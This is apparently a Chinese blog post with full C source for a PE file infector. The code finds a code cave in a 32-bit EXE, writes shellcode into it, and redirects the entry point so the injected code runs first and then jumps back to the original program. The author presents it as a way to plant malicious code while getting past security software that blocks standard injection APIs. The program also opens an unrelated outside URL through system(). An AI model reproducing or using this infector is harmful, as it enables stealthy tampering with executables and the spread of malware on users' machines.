劫持 PE 文件:搜索空间缝隙并插入ShellCode

本文介绍了一种在32位EXE中绕过传统API拦截的技术,通过将ShellCode插入到可执行文件中,并调整OEP地址,成功实现了恶意代码的插入。方法涉及计算ShellCode大小、在文件末尾寻找空隙、调整程序入口地址等步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

        因近期项目需要弄一款注入型的程序,但多次尝试后发现传统的API都会被安全软件拦截,比如 CreateRemoteThread、SetWindowHookEx、APC、GetThreadContext、SetThreadContext,甚至 NtCreateThreadEx 也是如此,也有试想过用驱动,但是奈何没有数字签名 :(

        经过无数次失败后,在查阅资料时无意中发现了一篇文章启发了我,然后开始尝试。

将 ShellCode 放入变量中,然后修改插入可执行文件名称,运行后即可将shellCode插入到EXE中,并设置好装载地址,程序运行后会先上线,然后在执行原始的代码 


1、首先计算出 ShellCode 的实际大小,然后将文件指针移动到目标程序文件末尾,从文件末尾开始循环查找,找到符合大小的空隙,并开始插入我们预先准备好的 ShellCode 代码。


	PIMAGE_SECTION_HEADER pSec = 
    (PIMAGE_SECTION_HEADER)(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));
	DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
	dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;
	LPVOID lp = malloc(sizeof(shellcode));
	memset(lp, 0, sizeof(shellcode));
	while (dwAddr > pSec->Misc.VirtualSize)
	{
		int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
		if (nRet == 0)
			return dwAddr;
		dwAddr--;
	}
	free(lp);

2、当插入完成后,将程序的OEP地址设置为ShellCode执行地址。

pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;

3、执行结束后,再跳回原区段继续执行源代码,从而实现插入恶意代码的目的。


该案例目前只适用于32位EXE,生成的ShellCode也必须为32位。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>

// \xb8\x90\x90\x90\x90 => mov eax,90909090
// \xff\xe0\x00 => jmp eax
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";

// 缝隙的搜索从代码节的末尾开始搜索,有利于快速搜索到缝隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
  // 跳过可选头长度的数据
  PIMAGE_SECTION_HEADER pSec = 
  (PIMAGE_SECTION_HEADER)(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));

  // 获取到文件末尾的位置
  DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);

  dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;

  LPVOID lp = malloc(sizeof(shellcode));

  memset(lp, 0, sizeof(shellcode));

  while (dwAddr > pSec->Misc.VirtualSize)
  {
    int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
    if (nRet == 0)
      return dwAddr;
    dwAddr--;
  }

  free(lp);

  return 0;
}
 
int main(int argc, char* argv[])
{
    HANDLE hFile, hMap = NULL;
    LPVOID lpBase = NULL;

    // 设置你的程序
    hFile = CreateFile("D:\\Wmplayer.exe", GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
    lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);

    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
    PIMAGE_NT_HEADERS pNtHeader = NULL;
    PIMAGE_SECTION_HEADER pSec = NULL;
    IMAGE_SECTION_HEADER imgSec = { 0 };

    if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    {
        printf("[-] 非 PE 文件 \n");
        return -1;
    }

    pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);

    // 查找空余字节
    DWORD dwAddr = FindSpace(lpBase, pNtHeader);
    printf("[*] 找到 %d 字节 | 起始地址: %X \n", sizeof(shellcode), dwAddr);

    // 获取到原入口地址
    DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;

    // \xb8 => 填充的就是原始程序的OEP
    *(DWORD *)&shellcode[5] = dwOep;

    printf("[-] 原始入口地址: 0x%08X \n", dwOep);

    // 将shellcode 拷贝到dwAddr内存空间里,拷贝长度strlen(shellcode) + 3
    memcpy((char *)dwAddr, shellcode, strlen(shellcode) + 3);
    dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;

    printf("[-] 拷贝内存长度: 0x%08X \n", dwAddr);

    // 将新的入口地址,赋值给原始程序的地址上
    pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;

    printf("[+] 修正新入口地址: 0x%08X \n", pNtHeader->OptionalHeader.ImageBase + dwAddr);

    UnmapViewOfFile(lpBase);

    CloseHandle(hMap);
    CloseHandle(hFile);

    system("start https://www.chwm.vip/?inject");
	system("pause");

	return 0;
}

        该代码中FindSpace()函数用于从代码节的末尾开始搜索,寻找特定长度的空余位置,当找到合适的空间缝隙后便返回首地址。

        dwOep变量内存储的是该程序原始的OEP入口位置,接着将入口地址赋值到*(DWORD *)&shellcode[5]也就是放入到shellcode机器码的第六个位置处,此处将变更为跳转到原始入口的指令集,接着调用memcpy函数将shellcode代码拷贝到新分配的dwAddr内存中,此处的strlen(shellcode) + 3代表的是ShellCode中剩余的 \xff\xe0\x00 部分,最后将当前EIP指针设置为ShellCode所在位置,通过 pNtHeader->OptionalHeader.AddressOfEntryPoint 赋值设置此变量。


未完。。。待续。。。。有空再更新。 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Rainbow Technology

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值